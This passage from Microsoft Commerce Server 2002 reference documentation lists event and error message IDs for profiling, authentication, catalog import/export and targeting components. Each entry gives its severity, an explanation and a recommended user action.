26626 | Error | Model Builder DTS Task: %1.Reporting failure of model build. %1 will be replaced by error and retry message. i.e. Build failed - retry number 1 of 5 in 30 seconds.
26627 | Informational | Model Builder DTS Task: %1.Reporting end of build. %1 will be replaced by message including model name. i.e. Building of model "test" has successfully finished.


Profiling System Event Messages

Profile Management Event Messages

Profiles Service Event Messages

Profile Data Import DTS Task Event Messages

AuthFilter Event Messages

AuthManager Event Messages

Profile Management Event Messages

The following table lists known event messages for User Profile Management.

Message ID | Severity | Comments
15360 | Error | Invalid operator %1 encountered. The UPM data aggregation layer encountered an operator that it cannot handle in the WHERE clause for the query.
15361 | Error | Invalid data type %1 encountered. The UPM data aggregation layer encountered a property of unrecognized data type in the query.
15363 | Error | Error (%1) encountered from DSO provider (deprecated, can be ignored). This error merely indicates that an error was encountered in the ANSI-SQL or the LDAP-v3 components of the UPM data aggregation layer. Other errors in the error stack should provide more relevant and useful information.
15364 | Error | Internal error (%1) encountered at the aggregation layer. This error indicates that an internal error occurred inside the UPM data aggregation layer. Developers should report this to Microsoft.
15365 | Error | Invalid source type %1 encountered. The UPM data aggregation layer encountered an invalid source type.
15366 | Error | Invalid operation type %1 encountered. The UPM data aggregation layer encountered an unrecognized operation type.
15367 | Error | Ran out of stack space. The UPM data aggregation layer could not allocate memory off the stack. Most likely, a prior component on the call stack has allocated large chunks of memory from the stack.
15368 | Error | Invalid class definition %1 encountered. The UPM data aggregation layer encountered an invalid class definition.
15369 | Error | Invalid query type %1 encountered.
15370 | Error | Encountered malformed order by list.
15371 | Error | Encountered an error in catalog data structures.
15372 | Error | Encountered invalid query.
15373 | Error | Invalid table name specified for %1 source.
15374 | Error | Exceeded maximum number of partitions allowed. Profiling system can only support up to 128 partitions along UPM paths. This error would show up if the Profiling System encountered a profile definitions store containing more than 128 partitions.
15375 | Error | The object already exists. The creation or update operations failed because an object with one or more matching key member values already exists in the underlying stores.
16000 | Error | Internal error (%1) encountered in directory provider.
16001 | Error | Generic ADSI error (%1).
16002 | Error | Ran out of stack space. The LDAP-v3 UPM data aggregation layer component could not allocate memory off the stack. Most likely, a prior component on the call stack has allocated large chunks of memory from the stack.
16003 | Error | There is no such object on the server. The object being searched for does not exist on the server.
16004 | Error | Bad password encountered (%1) (fairly common). The password setting or modification operation failed. Possible causes: (a) Machines (clients and servers) in the AD domain have not been configured properly — see RK for hints to fix this. (b) The security context under which this operation is being performed does not have sufficient privileges to perform this operation.
16005 | Error | Missing RDN attribute value. The RDN attribute on the object was not specified.
16006 | Error | Invalid operator encountered.
16007 | Error | Invalid data type (%1) encountered in directory component.
16264 | Error | Invalid number of values specified for password property. The LDAP-v3 UPM data aggregation layer component expects password property to contain exactly one value along object creation paths, and two values along object update paths. This error gets thrown when the above is not true.
16265 | Error | Value missing for a required key member.
16256 | Error | Internal error occurred in third-party provider.
16257 | Error | Invalid data type encountered in third-party provider.
16258 | Error | Invalid operation encountered in third-party provider.
16259 | Error | Attempting to insert too big data.

Profiles Service Event Messages

The following table lists known event messages for Profiles Service.

Message ID | Severity | Comments
16384 | Error | An internal error occurred in Profiles service component.
16385 | Error | The Profiles service data type cannot be converted to or from the native data type of the underlying data store.
16386 | Error | Invalid operation performed on Profiles service component.
16387 | Error | The current operation has been performed on a deleted object, and therefore cannot be completed. Please release handle to this deleted object.
16388 | Error | The current operation has been performed using an invalid profile type.
16389 | Error | Cannot update the value for this property as it is a Join Key property. The join key property is non-modifiable on a persisted object. This error is returned if an attempt was being made to modify the join key on a persisted object.
16390 | Error | Cannot reinitialize Profiles service object. Profiles service component cannot be initialized multiple times.
16392 | Error | Bad connection string has been supplied to Profiles service object.
16393 | Error | Invalid profile definition.
16394 | Error | Ran out of stack space in Profiles service component.
16395 | Error | Profile object already exists.
16396 | Error | Profile object not found. Please check key member name and member value and try again.
16397 | Error | Profiles service object is not initialized.
16398 | Error | The profile definitions catalog name supplied to Profiles service initialization method is invalid.
16399 | Error | A multi-valued property on a profile definition cannot be marked as key.
16400 | Error | An invalid value has been specified for key member.
16401 | Error | A recoverable race condition was encountered in profile object cache. Please try your call again. This error can occur in two scenarios: (a) If two (or more) threads are trying to simultaneously retrieve a profile object that does not exist in the profile object cache, and attempt to insert this object into the cache, then all threads except the first one will return this error. In this scenario, this is a benign error and can be ignored. (b) Profile object data does not conform to profile definition rules (e.g., multiple objects having the same property value for a property marked as a unique key).
16402 | Error | The profile object cache has become full. Please release dirty entries, and try your operation again. If problems persist, then please review Profile service documentation.

Profile Data Import DTS Task Event Messages

The following table lists known event messages for the Profile Data Import Data Transformation Services (DTS) task.

Message ID | Severity | Comments
12288 | Error | Profile Data Import Task: Failed to create Commerce Server Performance Counters Component.
12289 | Error | Profile Data Import Task: Failed to initialize Commerce Server Performance Counters Component.
12290 | Error | Profile Data Import Task: Failed to create Commerce Server OLEDB Provider Component.
12291 | Error | Profile Data Import Task: Failed to bind to connection url: %1.
12292 | Error | Profile Data Import Task: Failed to form queries on BizDataStore.
12293 | Error | Profile Data Import Task: Failed to perform schema changes in the Data Warehouse.
12294 | Error | Profile Data Import Task: Failed to transfer data to the Data Warehouse.
12295 | Error | Profile Data Import Task: Failed to bind to class url: %1.
12296 | Error | Profile Data Import Task: Failed to open class %1.
12297 | Error | Profile Data Import Task: Class name : %1 already exists in Data Warehouse but is not mapped to a Biz Data Catalog class.
12298 | Error | Profile Data Import Task: Failed to Add Members to Class:%1. Member name:%2.
12299 | Error | Profile Data Import Task: Class name : %1 does not exist in the Data Warehouse but is mapped to a BizData Catalog class.
12300 | Error | Profile Data Import Task: Failed to create the TimeZone converter object.
12301 | Error | Profile Data Import Task: Failed to load members for class %1.
12302 | Error | Profile Data Import Task: The export engine was not initialized.
12303 | Error | Profile Data Import Task: Failed to create object %1
12304 | Error | Profile Data Import Task: %1
12305 | Error | Profile Data Import Task: Failed to get values from TaskHistory table.
12306 | Error | Profile Data Import Task: Failed to set values to TaskHistory table.
12307 | Error | Profile Data Import Task: Failed to initialize TimeZone converter object.
12308 | Error | Profile Data Import Task: Failed to do time zone conversion.
12309 | Error | Profile Data Import Task: An error occurred in loading the DTS task properties dialog.
12310 | Error | Profile Data Import Task: Primary key should be exported for classes not already mapped to an existing class in the Data Warehouse. Profile %1 will not be exported.
12311 | Error | Profile Data Import Task: One or more invalid data type mappings between Profile and Data Warehouse found.
12312 | Error | Profile Data Import Task: Member %2 of profile %1 is of detailed %3 which is inconsistent with data type %6 of member %5 mapped to datawarehouse class %4.Schema mismatch between runtime store and the Data Warehouse store.

AuthFilter Event Messages

The following table lists known event messages for AuthFilter.

Message ID | Severity | Comments
19474 | Error | UPM-AUTHFILTER: AuthFilter's PasswordCache if Full (need to set larger cache & restart IIS/Application).
19475 | Error | UPM-AUTHFILTER: AuthFilter's PasswordCache if Empty or Not created.
19476 | Error | UPM-AUTHFILTER: SiteName is Empty. This is either not a Commerce Server site, or the Csapp.ini does not contain the site name.
19477 | Error | UPM-AUTHFILTER: EncryptionKey cannot be null/empty, if encryption is enabled. The site was enabled for encryption, but an encryption key was not specified.
19478 | Error | UPM-AUTHFILTER: Unable to insert new entry into the siteconfig cache.
19479 | Error | UPM-AUTHFILTER: Unable to find siteconfig-entry in the siteconfig cache.
19480 | Error | UPM-AUTHFILTER: Unable to encrypt ticket.
19481 | Error | UPM-AUTHFILTER: Unable to decrypt ticket (unused).
19482 | Error | UPM-AUTHFILTER: Unable to format ticket data.
19483 | Error | UPM-AUTHFILTER: Sending redirect (HTTP: 302) failed. Check URLs specified in the global resources for the site.
19484 | Error | UPM-AUTHFILTER: Setting cookie failed.
19485 | Error | UPM-AUTHFILTER: Generating password key failed.
19486 | Error | UPM-AUTHFILTER: URL-Decoding failed. Malformed URL
19487 | Error | UPM-AUTHFILTER: Password-Cache search failed or entry not found ( internal).
19488 | Error | UPM-AUTHFILTER: Parsing querystring failed. Malformed URL
19489 | Error | UPM-AUTHFILTER: Cache-Cleanup-thread failed.
19490 | Error | UPM-AUTH: Failure in AuthFilter.
19491 | Error | UPM-AUTH: Invalid character (';' or '%' or '=') present in userID or property name/value.
19492 | Error | UPM-AUTH: This API should be called only within an ASP. The method returning this error depends on an ASP intrinsic object. So, must be invoked from ASP pages.
19493 | Error | UPM-AUTH: Error: Requested Ticket not set.
19494 | Error | UPM-AUTH: Error occurred while generating Encryption Key.
19495 | Error | UPM-AUTH: Invalid custom property name or value.
19496 | Error | UPM-AUTH: Failed in formatting properties on Ticket.
19497 | Error | UPM-AUTHF: Failed to encrypt ticket data.
19498 | Error | UPM-AUTH: Failed to decrypt ticket data.
19499 | Error | UPM-AUTH: Encryption admin-properties are set wrong (if you enable Encryption, EncryptionKey should be set correctly).
19500 | Error | UPM-AUTH: Failed to add SiteConfig entry to local SiteConfig-cache.
19501 | Error | UPM-AUTH: Failed to delete SiteConfig entry from local SiteConfig-cache.
19502 | Error | UPM-AUTH: Failed to get SiteConfig entry from local SiteConfig-cache.
19503 | Error | UPM-AUTH: CryptoAPI-Failed to generate sessionkey from password.
19504 | Error | UPM-AUTH: Error in initializing the Encrypt/Decrypt component.
19505 | Error | UPM-AUTHFILTER: Error in initializing the memory-pool (cpool) for the password-cache in WindowsAuth mode.
19506 | Error | UPM-AUTHFILTER: Error in initializing the LKRHash for the password-cache in WindowsAuth mode.
19507 | Error | UPM-AUTHFILTER: Error in initializing the LKRHash for the siteconfig-cache.
19508 | Error | UPM-AUTH: Error in initializing the LKRHash for the siteconfig-cache.
19509 | Informational | UPM-AUTHFILTER: Error occurred in initializing the siteconfig-cache.
19510 | Informational | UPM-AUTHFILTER: Error occurred in initializing the password-cache.
19511 | Informational | UPM-AUTHFILTER: Error occurred in initializing the memory-pool for password-cache: %1.
19512 | Informational | UPM-AUTHFILTER: Failed to create cleanup thread for password-cache: %1.
19513 | Error | UPM-AUTHFILTER: Filed to create cleanup thread for password-cache.
19514 | Informational | UPM-AUTHFILTER: Failed to create CommerceServer-UPM-PerfCounter Object for site '%1' : %2.
19515 | Informational | UPM-AUTHFILTER: Failed to initialize WindowsAuth: %1.
19516 | Informational | UPM-AUTHFILTER: Failed to initialize CacheCleanupThread object: %1.
19517 | Informational | UPM-AUTHFILTER: Cleanup thread for password-cache has been successfully started.
19518 | Error | UPM-AUTH: Empty password-key is not allowed.
19519 | Error | UPM-AUTH: Failed to create CommerceServer-UPM-PerfCounter Object for site '%1' : %2.

AuthManager Event Messages

The following table lists known event messages for AuthManager.

Message ID | Severity | Comments
19456 | Error | UPM-AUTH: Error: Requested property does not exist on AuthTicket.
19457 | Warning | UPM-AUTH: Warning: Authticket TimeWindow Expired, may need to re-authenticate the user.
19458 | Error | UPM-AUTH: Error: User not authenticated, need to reauthenticate the user.
19459 | Warning | UPM-AUTH: Error: Authticket not set on cookie.
19460 | Warning | UPM-AUTH: Warning: Authticket not set.
19461 | Error | UPM-AUTH: Warning: Empty Authticket.
19462 | Warning | UPM-AUTH: Error: in Setting the cookie.
19463 | Warning | UPM-AUTH: Warning: need to set Authenticated User cookie.
19464 | Error | UPM-AUTH: Warning: need to set Anonymous User cookie.
19465 | Error | UPM-AUTH: Error: while setting the cookie for registered user.
19466 | Error | UPM-AUTH: Error: while setting the cookie for anonymous user.
19467 | Error | UPM-AUTH: Error: while getting the cookie for registered user.
19468 | Error | UPM-AUTH: Error: while getting the cookie for anonymous user.
19469 | Error | UPM-AUTH: Error: while getting the query string for anonymous user.
19470 | Error | UPM-AUTH: Error: while getting the query string for authenticated user.
19471 | Error | UPM-AUTH: Error: while unpacking the Ticket data.
19472 | Error | UPM-AUTH: Error: need to Initialize with installed Sitename.
19473 | Error | UPM-AUTH: Error: AuthManager::CryptoAPI_Initialize failed.


Performance Counters Event Messages

Performance Counters Components Event Messages

Performance Counters System Event Messages

Performance Counters Components Event Messages

The following table lists known event messages for performance counter components.

Message ID | Severity | Comments
28672 | Error | CSPerfCounters Component : Failed to initialize security attributes
28673 | Error | CSPerfCounters Component : Failed to create - '%1'
28674 | Error | CSPerfCounters Component : Error reading ini file - '%1'
28675 | Error | CSPerfCounters Component : Error with registry - '%1'

Performance Counters System Event Messages

The following table lists known event messages for performance counter system.

Message ID | Severity | Comments
4112 | Error | Commerce Server 2000 performance counter exceeds the 2000 limit. A maximum of 2000 pipeline components may be monitored by Perfmon on a server.


Expired Evaluation Period Event Messages

The following table lists known event messages for expired application evaluation period.

Message ID | Severity | Comments
32768 | Error | The evaluation period for Commerce Server 2002 has ended. Contact Microsoft to obtain a licensed version of Commerce Server 2000.Timebomb expired.
32769 | Error | The evaluation period for BizTalk Server 2000 or later has ended. Contact Microsoft to obtain a licensed version of BizTalk Server 2000.<unused>
32770 | Error | The evaluation period for this product has ended. Contact Microsoft to obtain a licensed version of this product.<unused>
32771 | Warning | The evaluation period for Commerce Server 2000 will expire within ten days. Contact Microsoft to obtain a licensed version of Commerce Server 2000.Timebomb about to expire.
32772 | Warning | The evaluation period for BizTalk Server 2000 will expire within ten days. Contact Microsoft to obtain a licensed version of BizTalk Server 2000.


Error Messages

The following topics list some of the common error messages found in Commerce Server 2002. For each error message, the message, the component in which it appears, an explanation of the error message, and the user action needed are provided.

Note

  • To find an error message quickly, use the Search function of Commerce Server 2002 Help to search on a specific phrase found in the error message. For more information, see Searching for a Help Topic.

This section contains:

  • Business Analytics System Error Messages
  • Product Catalog System Error Messages
  • Targeting System Error Messages
  • OLE DB Provider Error Messages for Profile Services
  • Performance Counters and Other Component Error Messages
  • Predictor Service and Component Error Messages
  • Site Configuration and Component Error Messages
  • Profiling System Error Messages


Business Analytics System Error Messages

User Import Task: Failed to create Commerce Server Performance Counters Component.

Error ID | 0xC1003000
Message ID | E_MSCOP_UPMDTS_PERFCTR_CREATE
Component | Profile Data Import Task
Explanation | The User Import Task Performance Counters Component was not created and you will not be able to view the performance counters until you correct this.
User Action | Check the Commerce Server installation Event Log for any errors that may have prevented the component from being created.

User Import Task: Failed to initialize Commerce Server Performance Counters Component.

Error ID | 0xC1003001
Message ID | E_MSCOP_UPMDTS_PERFCTR_INIT
Component | Profile Data Import Task
Explanation | The User Import Task Performance Counters Component was not created and you will not be able to view the performance counters until you correct this.
User Action | Check the Commerce Server installation Event Log for any errors that may have prevented the component from being created.

User Import Task: Failed to create Commerce Server OLEDB Provider Component.

Error ID | 0xC1003002
Message ID | E_MSCOP_UPMDTS_CSOLEDB_CREATE
Component | Profile Data Import Task
Explanation | The OLEDB Provider Performance Counters Component was not created and you will not be able to view the performance counters until you correct this.
User Action | Check the Commerce Server installation Event Log for any errors that may have prevented the component from being created.

User Import Task: Failed to bind to connection URL: <connection URL>.

Error ID | 0xC1003003
Message ID | E_MSCOP_UPMDTS_CSOLEDB_CONNURLBIND
Component | Profile Data Import Task
Explanation | This error appears in the event log when the connection parameters to the Profile definition store or the Data Warehouse is incorrect.
User Action | Verify that the connection string is valid.

User Import Task: Failed to form queries on BizDataStore.

Error ID | 0xC1003004
Message ID | E_MSCOP_UPMDTS_QRYCREATE
Component | Profile Data Import Task
Explanation | The Profile data store is not configured correctly and has one or more Profile definitions configured that are not valid.
User Action | Verify the Profile definition store configuration and validate all profile definitions through the Commerce Server MMC snap-in.

User Import Task: Failed to perform schema changes in the Data Warehouse.

Error ID | 0xC1003005
Message ID | E_MSCOP_UPMDTS_SCHEMAUPDATE
Component | Profile Data Import Task
Explanation | The User Import Task did not make the requested schema changes in the Data Warehouse.
User Action | Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Failed to transfer data to the Data Warehouse.

Error ID | 0xC1003006
Message ID | E_MSCOP_UPMDTS_DATATRANSFER
Component | Profile Data Import Task
Explanation | The user data was not transferred to the Data Warehouse.
User Action | Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Failed to bind to class URL: <class URL>.

Error ID | 0xC1003007
Message ID | E_MSCOP_UPMDTS_CSOLEDB_CLASSURLBIND
Component | Profile Data Import Task
Explanation | The CSOLEDB provider Bind call to a Data Warehouse or profile data store class failed.
User Action | Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Failed to open class <class name>.

Error ID | 0xC1003008
Message ID | E_MSCOP_UPMDTS_CSOLEDB_OPENCLASS
Component | Profile Data Import Task
Explanation | The CSOLEDB provider Open call to a Data Warehouse or profile data store class failed.
User Action | Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Class name : <class name> already exists in the Data Warehouse but is not mapped to a Biz Data Catalog class.

Error ID | 0xC1003009
Message ID | E_MSCOP_UPMDTS_UNMAPPEDUPMCLASS
Component | Profile Data Import Task
Explanation | The class name already exists; however, you can prevent the message from appearing.
User Action | This is an informational message only. To avoid receiving the message, set the DWClassName custom attribute on the profile that exports data to this Data Warehouse class. The attribute value should be the Data Warehouse class name.

User Import Task: Failed to Add Members to Class: <class name>. Member name:<member name>.

Error ID | 0xC100300A
Message ID | E_MSCOP_UPMDTS_MEMBERCREATE
Component | Profile Data Import Task
Explanation | This error occurs because the extension of a Data Warehouse class failed.
User Action | Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Class name: <class name> does not exist in the Data Warehouse but is mapped to a Biz Data Catalog class.

Error ID | 0xC100300B
Message ID | E_MSCOP_UPMDTS_NONEXISTANTDWCLASS
Component | Profile Data Import Task
Explanation | This is an informational message only. This message indicates that the class will be created in the Data Warehouse.
User Action | None.

User Import Task: Failed to create the Timezone converter object.

Error ID | 0xC100300C
Message ID | E_MSCOP_UPMDTS_TIMEZONECNVTR_CREATE
Component | Profile Data Import Task
Explanation | The User Import Task did not create the Timezone converter object.
User Action | Check the Commerce Server installation Event Log for any errors that may have prevented the object from being created.

User Import Task: Failed to load members for class <class name>.

Error ID | 0xC100300D
Message ID | E_MSCOP_UPMDTS_CLASSLOAD
Component | Profile Data Import Task
Explanation | This error may occur when the DTS task loads the schema information for the profile data store or the Data Warehouse.
User Action | Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: The export engine was not initialized.

Error ID | 0xC100300E
Message ID | E_MSCOP_UPMDTS_EXIMOBJ_UNINITIALIZED
Component | Profile Data Import Task
Explanation | This is an internal error message for information only. This message may occur if the Run method on Commerce.DTSUPM is called before the Initialize method is called. Commerce.DTSUPM is an internal object used by the DTS task and not by customers directly.
User Action | None necessary.

User Import Task: Failed to create object <progid>.

Error ID | 0xC100300F
Message ID | E_MSCOP_UPMDTS_OBJECT_CREATE
Component | Profile Data Import Task
Explanation | The creation of a component on which the Profile Data Import task depends, failed.
User Action | Check the Commerce Server installation Event Log for any errors that may have prevented the component from being created.

User Import Task: <error message from another component>

Error ID | 0xC1003010
Message ID | E_MSCOP_UPMDTS_GENERIC_ERROR
Component | Profile Data Import Task
Explanation | This message reports any errors returned by external components invoked in the code.
User Action | Take the action recommended in the error message.

User Import Task: Failed to get values from TaskHistory table.

Error ID | 0xC1003011
Message ID | E_MSCOP_UPMDTS_TASKHISTORY_GET
Component | Profile Data Import Task
Explanation | The TaskHistory table in the Data Warehouse maintains the status and run times of the DTS task. There was a failure in reading the table.
User Action | Check the Data Warehouse to see if the TaskHistory table exists. Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Failed to set values to TaskHistory table.

Error ID | 0xC1003012
Message ID | E_MSCOP_UPMDTS_TASKHISTORY_SET
Component | Profile Data Import Task
Explanation | The TaskHistory table in the Data Warehouse maintains the status and run times of the DTS task. There was a failure in writing to the table.
User Action | Check the Data Warehouse to see if the TaskHistory table exists. Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Failed to initialize Timezone converter object.

Error ID | 0xC1003013
Message ID | E_MSCOP_UPMDTS_TIMEZONE_INIT
Component | Profile Data Import Task
Explanation | The User Import Task did not initialize the Timezone converter object.
User Action | Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Failed to do timezone conversion.

Error ID | 0xC1003014
Message ID | E_MSCOP_UPMDTS_TIMEZONE_CONVERSION
Component | Profile Data Import Task
Explanation | This error may occur if the time value is null.
User Action | Check for null time/date values in the profile data store.

User Import Task: An error occurred in loading the DTS task properties dialog.

Error ID | 0xC1003015
Message ID | E_MSCOP_UPMDTS_UI_LOAD
Component | Profile Data Import Task
Explanation | The DTS task properties dialog did not load properly.
User Action | Check the Commerce Server installation Event Log for any errors that may have caused this error. Verify that the Profile Data Import DTS task is registered correctly with SQL Server.

User Import Task: Primary key should be exported for classes not already mapped to an existing class in the Data Warehouse. Profile <profile name> will not be exported.

Error ID | 0xC1003016
Message ID | E_MSCOP_UPMDTS_MISMATCHED_PK
Component | Profile Data Import Task
Explanation | The User Import Task did not export the specified profile.
User Action | Mark the Primary/Dual key of the profile noted in the message as "Exported."

User Import Task: One or more invalid data type mappings between Profile and Data Warehouse found.

Error ID | 0xC1003017
Message ID | E_MSCOP_UPMDTS_INVALID_DATATYPES
Component | Profile Data Import Task
Explanation | The data type mappings found are not valid.
User Action | Check the Commerce Server Event Log for errors. Run the Commerce Server Data Warehouse debugging tool (csdwdbgsrv.exe) to get more detailed information and to diagnose the failures.

User Import Task: Member <member name> of profile <profile name> is of dataype <datatype name> which is inconsistent with datatype <datatype name> of member <member name> mapped to Data Warehouse class <class name>.

Error ID | 0xC1003018
Message ID | E_MSCOP_UPMDTS_MISMATCHED_DATATYPE
Component | Profile Data Import Task
Explanation | The mapped data type is not valid.
User Action | Correct the mapping defined in the DWMemberName custom attribute of the Profile member to match the data type of the Data Warehouse class member.

CSDW_MakeProductCategoryInfo: Circular reference detected in product category tree. Aborting operation.

Error ID | 2147217900
Message ID | N/A
Component | Report Preparation DTS Task
Explanation | Your product category hierarchy contains a circular reference. For example, you have defined category A as a child category of B, and have also defined category B as a child category of A.
User Action You should either remove the circular reference in your product category definition, or define your products based only on the primary product category.

Or, you can use the CSDW_MakePrimaryProductCategoryInfo stored procedure in place of the CSDW_MakeProductCategoryInfo procedure during report preparation. You do this by running the following SQL command against the data warehouse database:

UPDATE StoredProcInfo SET [Name] = N'CSDW_MakePrimaryProductCategoryInfo'
WHERE [Name] = N’CSDW_MakeProductCategoryInfo’


Product Catalog System Error Messages

The Unique ID required for the Product/Category/Product Variant is missing. <unique ID name>

Error ID | 0xC1005005
Message ID | MSG_PRODUCTID_NOTPRESENT
Component | Product Catalog System
Explanation | The unique identifier for the product ID, category name, or variant ID was not found for in the XML or CSV file being imported.
User Action | Verify that the data is correct in the XML/CSV file being imported and retry the import.

Database operation failed. <string name>

Error ID | 0xC1005009
Message ID | MSG_DB_ERROR
Component | Product Catalog System
Explanation | Generic Database error. The <string name> string contains the details about the error.
User Action | Necessary user action depends on the specific <string name> string.

Updating a product/Category failed <category name>.

Error ID | 0xC1005010
Message ID | MSG_UPDATE_PRODUCT_FAILED
Component | Product Catalog System
Explanation | Import of the product or category failed. See error message in %1 for details.
User Action | See the %1 string for the recommended action.

Importing Catalog <catalog name>

Error ID | 0x81005012
Message ID | MSG_IMPORTING_CATALOG
Component | Product Catalog System
Explanation | The import of <catalog name> has started.
User Action | This is an informational message; no user action is necessary.

Unable to create the file <file name>

Error ID | 0x81005013
Message ID | MSG_FILE_CREATION_FAILED
Component | Product Catalog System
Explanation | The attempt to create the file to which the exported XML/CSV data is to be written failed.
User Action | Verify that the file path is correct, that the directory exists, and that the file name does not contain any disallowed characters. Verify, also, that you have the correct permissions for the directory and file.

Microsoft Commerce Server Exporting Catalog <catalog name>.

Error ID | 0x81005016
Message ID | MSG_EXPORTING_CATALOG
Component | Product Catalog System
Explanation | Catalog export for <catalog name> has started.
User Action | This is an informational message; no action is necessary.

Invalid property is used in the product, <product name>. Possible causes can be: For a string property, the property value exceeds the property length, for an enumerated property the enumerated value does not exist, for a date property the date does not fall within the specified date range.

Error ID | 0xC1005017
Message ID | MSG_INVALID_PROPERTY
Component | Product Catalog System
Explanation You have used a property that is not valid.
  • If this is a string property, the value may exceed the property length.
  • If this is an enumerated property, the enumerated value may not exist.
  • If this is a date property, the date does not fall within the specified date range.
User Action | Correct the property value as necessary.

Unable to Open or Create the file <file name>

Error ID | 0xC1005018
Message ID | MSG_FILE_ERROR
Component | Product Catalog System
Explanation | Could not open the file. (This message can be logged from XMLImport, CSVImport, Unpup, or ValidateXML).
User Action | Verify that the file exists and is accessible to the user.

The new Import/Export operation cannot be started until the Import in progress is completed.

Error ID | 0xC1005020
Message ID | MSG_IMPORT_IN_PROGRESS
Component | Product Catalog System
Explanation | The previous import/export operation must complete before you begin a new import/export.
User Action | Wait until the first import/export process is complete, and then run the next import/export.

Creating full text indexes

Error ID | 0xC1005025
Message ID | MSG_CREATING_FULL_TEXT_INDEXES
Component | Product Catalog System
Explanation | This message displays during Catalog XML/CSV Import and signals the start of the full-text-catalog creation step.
User Action | This is an informational message; no action is necessary.

The Catalog <catalog name> does not exist.

Error ID | 0xC1005029
Message ID | MSG_CATALOG_DOES_NOT_EXIST
Component | Product Catalog System
Explanation | The catalog does not exist in your database.
User Action | You must create a catalog before you can export it, import it, or change its properties.

The attribute <attribute name> contained in the CSV file is a built in column in the catalogproducts table and cannot be used as an attribute. You need to rename the attribute. The CSV file is invalid.

Error ID | 0xC1005030
Message ID | MSG_INVALID_CSV_FILE
Component | Product Catalog System
Explanation | The CSV file cannot be exported because it is a built-in column.
User Action | Rename the attribute and try again.

The Language <language_name> specified for the Property <property name> in the catalog <catalog name> is not defined in the catalog.

Error ID | 0xC1005034
Message ID | MSG_INVALID_CATALOG_LANGUAGE
Component | Product Catalog System
Explanation | In order to define property values in a particular language, that language must first be added to the catalog.
User Action | Add this language to the catalog. You can add the language by adding it to the list of languages in the catalog XML element in the XML file.

A Definition with the Catalog Name you specified already exists and is being used by other catalogs. This definition cannot be modified. Specify a different name for the catalog or correct the properties in the CSV file to match the existing definition in the catalog system

Error ID | 0xC1005035
Message ID | MSG_DEFINITION_IN_USE
Component | Product Catalog System
Explanation | You are attempting to create a definition that already exists and is used by other catalogs.
User Action | Use a different name for the catalog or correct the properties in the CSV file to match the existing definition in the Product Catalog System.

Unable to set the security context for the import/export/rebuild operation.

Error ID | 0xC1005036
Message ID | MSG_COULD_NOT_OPEN_THREAD_TOKEN
Component | Product Catalog System
Explanation: | The system was unable to set thread impersonation token for the background thread.
User Action | If the import/export operation succeeds, then you can ignore this warning message. Otherwise, retry the import/export operation with the fRunSynchronously parameter set to "True."

Microsoft Commerce Server: Rebuild Virtual Catalog Started: <virtual catalog name>.

Error ID | 0xC1005037
Message ID | MSG_REBUILD_VIRTUAL_CATALOG_START
Component | Product Catalog System
Explanation | The virtual Catalog rebuild operation was started.
User Action | This is an informational message; no action is necessary.

Microsoft Commerce Server: Rebuild Virtual Catalog Succeeded: <virtual-catalog-name>

Error ID | 0xC1005038
Message ID | MSG_REBUILD_VIRTUAL_CATALOG_SUCCESS
Component | Product Catalog System
Explanation | The virtual Catalog rebuild operation was successfully completed.
User Action | This is an informational message; no action is necessary.

Microsoft Commerce Server: Rebuild Virtual Catalog Failed: <virtual-catalog-name> : <error-msg>

Error ID | 0xC1005039
Message ID | MSG_REBUILD_VIRTUAL_CATALOG_FAILED
Component | Product Catalog System
Explanation | The virtual Catalog rebuild operation failed.
User Action | See the Event Log message for details on why the rebuild failed. (The cause could be one of several different failures.)

The Product <product ID> belonging to the definition <definition name> in the catalog <catalog name> does not define the ID attribute.

Error ID | 0xC100503A
Message ID | MSG_ID_MISSING_FOR_PRODUCT
Component | Product Catalog System
Explanation | The ID attribute for a product element in the XML file is missing.
User Action | Fix the XML file to include the ID attribute for the product element.

The Category <category name> belonging to the definition <definition name> in the catalog <catalog name> does not define the ID attribute.

Error ID | 0xC100503B
Message ID | MSG_ID_MISSING_FOR_CATEGORY
Component | Product Catalog System
Explanation | The ID attribute for a category element in the XML file was missing.
User Action | Fix the XML file to include the ID attribute for the category element.

The displayName element <element name> for the category <category name> is missing the language element.

Error ID | 0xC100503C
Message ID | MSG_LANGUAGE_MISSING_FOR_CATEGORY_DISPLAYNAME
Component | Product Catalog System
Explanation | The Category DisplayName element must have a language attribute.
User Action | Fix the XML file by adding the language attribute to the category display name element.

The displayName element <element name> for the catalog <catalog name> is missing the language element.

Error ID | 0xC100503D
Message ID | MSG_LANGUAGE_MISSING_FOR_CATALOG_DISPLAYNAME
Component | Product Catalog System
Explanation | The Catalog display name element must have a language attribute.
User Action | Fix the XML file by adding the language attribute to the catalog display name element.


Targeting System Error Messages

[OrderDiscount]: The discount with id <ID name> has an invalid value for the field <field name>. The discount has been invalidated.

Error ID | 0xC1001009
Message ID | MSG_DISCOUNT_INVALID
Component | Commerce Server Discounts
Explanation | The discount in the ContentList cache has a property value that is not valid for the named property. Commerce Server deactivates the discount and you cannot apply it.
User Action | In the Business Desk Campaign Manager module, open the discount and locate and fix the incorrect property value.

WIN32 System Error. If the problem persists, please contact a Microsoft support engineer with the following information: source file: <source file name>, WIN32_Error: <error ID>.

Error ID | 0xC100100A
Message ID | MSG_WIN32_SYSTEM_ERROR
Component | Various
Explanation | This error was returned by the system API.
User Action | The recommended action depends on the source file location shown in the error message.

System Error. If the problem persists, please contact a Microsoft support engineer with the following information: source file: <source file name>, COM_HRESULT: <HResult code>.

Error ID | 0xC100100B
Message ID | MSG_COM_SYSTEM_ERROR
Component | Various
Explanation | This error results from the COM object.
User Action | The recommended action depends on the source file location shown in the error message.

